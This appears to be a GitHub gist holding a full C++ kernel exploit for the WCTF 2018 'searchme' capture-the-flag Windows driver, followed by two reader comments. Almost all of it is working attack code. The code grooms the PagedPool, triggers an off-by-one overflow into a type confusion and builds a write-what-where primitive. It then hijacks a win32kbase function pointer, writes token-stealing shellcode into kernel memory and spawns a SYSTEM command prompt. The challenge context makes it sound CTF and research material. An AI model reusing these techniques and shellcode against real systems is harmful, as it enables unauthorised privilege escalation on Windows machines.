WCTF 2018 "searchme" exploit by Mateusz "j00ru" Jurczyk
// WCTF 2018 "searchme" task exploit | |
// | |
// Author: Mateusz "j00ru" Jurczyk | |
// Date: 6 July 2018 | |
// Tested on: Windows 10 1803 (10.0.17134.165) | |
// | |
// See also: https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/ | |
#include <Windows.h> | |
#include <winternl.h> | |
#include <ntstatus.h> | |
#include <algorithm> | |
#include <cstdio> | |
#include <vector> | |
#pragma comment(lib, "ntdll.lib") | |
// | |
// Internal data structures found in the symbols of the original elgoog2 challenge from 34C3 CTF | |
// (see https://archive.aachen.ccc.de/34c3ctf.ccc.ac/challenges/index.html). | |
// | |
struct _ii_posting_list { | |
char token[16]; | |
unsigned __int64 size; | |
unsigned __int64 capacity; | |
unsigned int data[1]; | |
}; | |
struct _ii_token_table { | |
unsigned __int64 size; | |
unsigned __int64 capacity; | |
_ii_posting_list *slots[1]; | |
}; | |
struct _inverted_index { | |
int compressed; | |
_ii_token_table *table; | |
}; | |
// | |
// Global objects used in the exploit. | |
// | |
namespace globals { | |
// Handle to the \\.\Searchme vulnerable device. | |
HANDLE hDevice; | |
// A fake posting list set up in user-mode, identified as "fake" and with a UINT64_MAX capacity. | |
// It is used for a write-what-where primitive through an adequately set "size" field. | |
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL }; | |
} // namespace globals | |
// | |
// Constant, structures and functions needed to obtain driver image base addresses through | |
// NtQuerySystemInformation(SystemModuleInformation). | |
// | |
#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11) | |
typedef struct _RTL_PROCESS_MODULE_INFORMATION { | |
HANDLE Section; | |
PVOID MappedBase; | |
PVOID ImageBase; | |
ULONG ImageSize; | |
ULONG Flags; | |
USHORT LoadOrderIndex; | |
USHORT InitOrderIndex; | |
USHORT LoadCount; | |
USHORT OffsetToFileName; | |
UCHAR FullPathName[256]; | |
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; | |
typedef struct _RTL_PROCESS_MODULES { | |
ULONG NumberOfModules; | |
RTL_PROCESS_MODULE_INFORMATION Modules[1]; | |
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; | |
BOOLEAN GetKernelModuleBase(PCHAR Name, ULONG_PTR *lpBaseAddress) { | |
PRTL_PROCESS_MODULES ModuleInformation = NULL; | |
ULONG InformationSize = 16; | |
NTSTATUS NtStatus; | |
do { | |
InformationSize *= 2; | |
ModuleInformation = (PRTL_PROCESS_MODULES)realloc(ModuleInformation, InformationSize); | |
memset(ModuleInformation, 0, InformationSize); | |
NtStatus = NtQuerySystemInformation(SystemModuleInformation, | |
ModuleInformation, | |
InformationSize, | |
NULL); | |
} while (NtStatus == STATUS_INFO_LENGTH_MISMATCH); | |
if (!NT_SUCCESS(NtStatus)) { | |
return FALSE; | |
} | |
BOOL Success = FALSE; | |
for (UINT i = 0; i < ModuleInformation->NumberOfModules; i++) { | |
CONST PRTL_PROCESS_MODULE_INFORMATION Module = &ModuleInformation->Modules[i]; | |
CONST USHORT OffsetToFileName = Module->OffsetToFileName; | |
if (!strcmp((const char *)&Module->FullPathName[OffsetToFileName], Name)) { | |
*lpBaseAddress = (ULONG_PTR)ModuleInformation->Modules[i].ImageBase; | |
Success = TRUE; | |
break; | |
} | |
} | |
free(ModuleInformation); | |
return Success; | |
} | |
// | |
// Functions facilitating communication with the Searchme driver through IOCTLs. | |
// | |
#define IOCTL_CREATE_INDEX (0x222000) | |
#define IOCTL_CLOSE_INDEX (0x222004) | |
#define IOCTL_ADD_TO_INDEX (0x222008) | |
#define IOCTL_COMPRESS_INDEX (0x22200C) | |
ULONG_PTR CreateEmptyIndex() { | |
ULONG_PTR Address; | |
DWORD BytesReturned; | |
if (!DeviceIoControl(globals::hDevice, | |
IOCTL_CREATE_INDEX, | |
/*lpInBuffer=*/NULL, /*nInBufferSize=*/0, | |
/*lpOutBuffer=*/&Address, /*nOutBufferSize=*/sizeof(Address), | |
&BytesReturned, | |
NULL)) { | |
return 0; | |
} | |
return Address; | |
} | |
BOOLEAN CloseIndex(ULONG_PTR Address) { | |
DWORD BytesReturned; | |
return DeviceIoControl(globals::hDevice, | |
IOCTL_CLOSE_INDEX, | |
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address), | |
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0, | |
&BytesReturned, | |
NULL); | |
} | |
BOOLEAN AddToIndex(ULONG_PTR Address, DWORD Value, PCHAR Token) { | |
struct { | |
ULONG_PTR Address; | |
DWORD Value; | |
CHAR Token[16]; | |
} Request; | |
DWORD BytesReturned; | |
RtlZeroMemory(&Request, sizeof(Request)); | |
Request.Address = Address; | |
Request.Value = Value; | |
strncpy_s(Request.Token, Token, sizeof(Request.Token)); | |
return DeviceIoControl(globals::hDevice, | |
IOCTL_ADD_TO_INDEX, | |
/*lpInBuffer=*/&Request, /*nInBufferSize=*/sizeof(Request), | |
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0, | |
&BytesReturned, | |
NULL); | |
} | |
ULONG_PTR CompressIndex(ULONG_PTR Address) { | |
ULONG_PTR NewAddress = 0; | |
DWORD BytesReturned; | |
if (!DeviceIoControl(globals::hDevice, | |
IOCTL_COMPRESS_INDEX, | |
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address), | |
/*lpOutBuffer=*/&NewAddress, /*nOutBufferSize=*/sizeof(NewAddress), | |
&BytesReturned, | |
NULL)) { | |
return 0; | |
} | |
return NewAddress; | |
} | |
// | |
// A helper function converting an integer to a string within the [a-h] charset. | |
// | |
std::string StringFromNumber(unsigned int x) { | |
const char charset[] = "abcdefgh"; | |
char buf[2] = { 0, 0 }; | |
std::string ret; | |
for (int i = 0; i < 11; i++) { | |
buf[0] = charset[x & 7]; | |
ret += buf; | |
x >>= 3; | |
} | |
return ret; | |
} | |
// | |
// Functions for leveraging the write-what-where primitive through a fully controlled posting list | |
// set up in user-mode memory. | |
// | |
BOOLEAN SetupWriteWhatWhere() { | |
CONST PVOID kTablePointer = (PVOID)0x0000056c00000558; | |
CONST PVOID kTableBase = (PVOID)0x0000056c00000000; | |
if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) { | |
printf("[-] Unable to allocate fake base.\n"); | |
return FALSE; | |
} | |
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer; | |
TokenTable->size = 1; | |
TokenTable->capacity = 1; | |
TokenTable->slots[0] = &globals::PostingList; | |
return TRUE; | |
} | |
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) { | |
globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD); | |
AddToIndex(CorruptedIndex, What, "fake"); | |
} | |
VOID WriteWhatWhere8(ULONG_PTR CorruptedIndex, ULONG_PTR Where, ULONG_PTR What) { | |
WriteWhatWhere4(CorruptedIndex, Where, (What & 0xffffffffLL)); | |
WriteWhatWhere4(CorruptedIndex, Where + 4, ((What >> 32LL) & 0xffffffffLL)); | |
} | |
VOID WriteWhatWhereString(ULONG_PTR CorruptedIndex, ULONG_PTR Where, std::string What) { | |
What.resize((What.size() + 3) & (~3), 0xcc); | |
for (size_t i = 0; i < What.size(); i += 4) { | |
WriteWhatWhere4(CorruptedIndex, Where + i, *(DWORD*)&What.data()[i]); | |
} | |
} | |
// | |
// A helper function spawning a (hopefully elevated) command prompt and waiting for its termination. | |
// | |
VOID SpawnAndWaitForShell() { | |
STARTUPINFO si; | |
PROCESS_INFORMATION pi; | |
RtlZeroMemory(&si, sizeof(si)); | |
RtlZeroMemory(&pi, sizeof(pi)); | |
si.cb = sizeof(si); | |
if (CreateProcess(L"C:\\Windows\\system32\\cmd.exe", | |
NULL, NULL, NULL, FALSE, 0, NULL, L"C:\\", &si, &pi)) { | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
CloseHandle(pi.hProcess); | |
CloseHandle(pi.hThread); | |
} | |
} | |
// | |
// main() | |
// | |
int main() { | |
std::string Shellcode; | |
int ExitCode = 0; | |
// Make this a GUI thread. | |
LoadLibrary(L"user32.dll"); | |
// Get the image base addresses of all required images. | |
ULONG_PTR Nt_Addr = 0, Win32kBase_Addr = 0; | |
if (!GetKernelModuleBase("ntoskrnl.exe", &Nt_Addr) || | |
!GetKernelModuleBase("win32kbase.sys", &Win32kBase_Addr)) { | |
printf("[-] Unable to acquire kernel module address information.\n"); | |
return 1; | |
} | |
printf("[+] ntoskrnl: %llx, win32kbase: %llx\n", Nt_Addr, Win32kBase_Addr); | |
// Open device for communication. | |
globals::hDevice = CreateFile(L"\\\\.\\Searchme", | |
GENERIC_READ | GENERIC_WRITE, | |
0, NULL, OPEN_EXISTING, 0, NULL); | |
if (globals::hDevice == INVALID_HANDLE_VALUE) { | |
printf("[-] Unable to open handle to vulnerable driver.\n"); | |
return 1; | |
} | |
// Create a single source index which generates 0x2000-byte long indexes after compression. | |
ULONG_PTR SourceIndex = CreateEmptyIndex(); | |
for (int i = 0; i < 0x154; i++) { | |
AddToIndex(SourceIndex, 0x1000 + i, (PCHAR)StringFromNumber(i).c_str()); | |
} | |
printf("[+] Source Index: %llx\n", SourceIndex); | |
// "Spray" compressed indexes in an attempt to allocate adjacent objects on the pool. | |
CONST UINT kObjectsCount = 32; | |
CONST UINT kObjectSize = 0x2000; | |
std::vector<ULONG_PTR> Compressed; | |
for (int i = 0; i < kObjectsCount; i++) { | |
Compressed.push_back(CompressIndex(SourceIndex)); | |
} | |
sort(Compressed.begin(), Compressed.end()); | |
// Search for the adjacent objects among the generated indexes, and when they are found, free the | |
// first one in the pair. | |
ULONG AdjacentPairs = 0; | |
for (int i = 1; i < Compressed.size(); i++) { | |
if (Compressed[i] - Compressed[i - 1] == kObjectSize) { | |
CloseIndex(Compressed[i - 1]); | |
Compressed[i - 1] = 0; | |
AdjacentPairs++; | |
i++; | |
} | |
} | |
if (AdjacentPairs == 0) { | |
printf("[-] No adjacent allocations found, exploitation impossible.\n"); | |
ExitCode = 1; | |
goto fail; | |
} | |
printf("[+] Total adjacent objects: %d\n", AdjacentPairs); | |
// Add more data to the source index, which still keeps the resulting compressed object at 0x2000 | |
// bytes, but also overflows it by a single 0x00 byte. | |
AddToIndex(SourceIndex, 7, "zzzzzz"); | |
AddToIndex(SourceIndex, 0, "zzzzzz"); | |
AddToIndex(SourceIndex, 1, "zzzzzz"); | |
AddToIndex(SourceIndex, 6, "zzzzzz"); | |
AddToIndex(SourceIndex, 7, "zzzzzz"); | |
// Trigger the off-by-one nul byte overflow to clear the "compressed" flag of an adjacent object, | |
// resulting in a type confusion. | |
CompressIndex(SourceIndex); | |
// Set up a fake posting list in user-mode, to enable us to use the write-what-where primitive. | |
SetupWriteWhatWhere(); | |
// Try to detect which index was corrupted by attempting to use the write-what-where condition to | |
// write to a test variable on the stack. | |
ULONG_PTR CorruptedIndex = 0; | |
DWORD TestTarget = 0; | |
for (ULONG_PTR Index : Compressed) { | |
WriteWhatWhere4(Index, (ULONG_PTR)&TestTarget, 1); | |
if (TestTarget == 1) { | |
CorruptedIndex = Index; | |
break; | |
} | |
} | |
if (CorruptedIndex == 0) { | |
printf("[-] No corrupted index found, overflow unsuccessful?\n"); | |
ExitCode = 1; | |
goto fail; | |
} | |
printf("[+] Corrupted index: %llx\n", CorruptedIndex); | |
// System-specific offsets within ntoskrnl.exe and win32kbase.sys. | |
#define ExAllocatePoolWithTag_OFFSET 0x2F4410 | |
#define PsInitialSystemProcess_OFFSET 0x45B260 | |
#define NtGdiDdDDIGetContextSchedulingPriority_OFFSET 0x1B60C0 | |
// Overwrite a function pointer in the .data section of win32kbase.sys used by | |
// win32kbase!NtGdiDdDDIGetContextSchedulingPriority. The system call is a trivial wrapper around | |
// dxgkrnl!DxgkGetContextSchedulingPriority and passes the original arguments. Thanks to this, we | |
// can replace the pointer with the address of nt!ExAllocatePoolWithTag and allocate executable | |
// memory from the NonPagedPool for the EoP shellcode. | |
// | |
// The technique was introduced by Morten Schenk at Black Hat USA 2017 in his talk titled | |
// "TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAGING WRITE-WHAT-WHERE | |
// VULNERABILITIES IN CREATORS UPDATE". | |
// | |
// We chose a different, less frequently invoked system call, because overwriting the proposed | |
// NtGdiDdDDICreateAllocation pointer caused the graphical subsystem to malfunction. | |
WriteWhatWhere8(CorruptedIndex, | |
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET, | |
/*What=*/Nt_Addr + ExAllocatePoolWithTag_OFFSET); | |
// Load the address of the gdi32full!NtGdiDdDDIGetContextSchedulingPriority user-mode entry point | |
// to our overwritten kernel pointer. | |
HMODULE hGdi32 = LoadLibrary(L"gdi32full.dll"); | |
typedef ULONG_PTR(__stdcall *FunctionProxy)(SIZE_T, SIZE_T); | |
FunctionProxy KernelFunction = | |
(FunctionProxy)GetProcAddress(hGdi32, "NtGdiDdDDIGetContextSchedulingPriority"); | |
// Allocate one page of kernel RWX memory. | |
ULONG_PTR ShellcodeAddr = KernelFunction(0 /* NonPagedPool */, 0x1000); | |
printf("[+] Kernel allocation: %llx\n", ShellcodeAddr); | |
// The shellcode takes the address of a pointer to a process object in the kernel in the first | |
// argument (RCX), and copies its security token to the current process. | |
// | |
// 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread] | |
// -00 | |
// 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process] | |
// 00000010 488B09 mov rcx, [rcx] | |
// 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token] | |
// 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx | |
// 00000021 C3 ret | |
CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00" | |
"\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00" | |
"\x00\xC3"; | |
Shellcode.assign((PCHAR)ShellcodeBytes, sizeof(ShellcodeBytes)); | |
// Write the token-swap shellcode to allocated kernel memory. | |
WriteWhatWhereString(CorruptedIndex, /*Where=*/ShellcodeAddr, /*What=*/Shellcode); | |
// Overwrite the function pointer again with the address of our shellcode. | |
WriteWhatWhere8(CorruptedIndex, | |
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET, | |
/*What=*/ShellcodeAddr); | |
// Copy the security token of the System process to the current process. | |
KernelFunction(Nt_Addr + PsInitialSystemProcess_OFFSET, 0); | |
// Spawn elevated command prompt. | |
SpawnAndWaitForShell(); | |
fail: | |
// Clean up all active indexes and close the device. | |
for (ULONG_PTR Index : Compressed) { | |
if (Index != 0) { | |
CloseIndex(Index); | |
} | |
} | |
CloseIndex(SourceIndex); | |
CloseHandle(globals::hDevice); | |
return ExitCode; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
Thanks for your code, I can't understand it, but I will try my best to understand it.(I'm sorry, I'm not good at English).
Thanks for your work, You are my most admired person. I'm your big fans. So thanks.